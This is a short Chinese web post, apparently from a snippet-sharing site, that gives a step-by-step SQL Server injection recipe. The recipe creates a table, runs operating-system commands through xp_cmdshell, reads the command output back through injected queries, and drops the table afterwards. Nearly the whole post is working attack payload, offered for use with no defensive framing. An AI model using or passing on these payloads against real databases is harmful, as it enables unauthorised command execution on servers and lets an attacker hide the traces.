您的位置:首页 > 数据库

sql server 注入漏洞执行cmd指令并得到回显

2015-12-07 14:26 176 查看
';create table temp(id int identity(1,1),a varchar(8000));-- 创建一个表

';insert into temp exec master.dbo.xp_cmdshell 'dir c:\'; -- 执行cmd指令并且插入到表中

' and (select top 1 a from temp where id>5)>0 -- 查询这个表里面的信息,得到cmd指令运行结果

' or (select count(*) from temp)>0 -- 25 得到这个表里面的数据行数

';drop table temp; -- 删除表
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: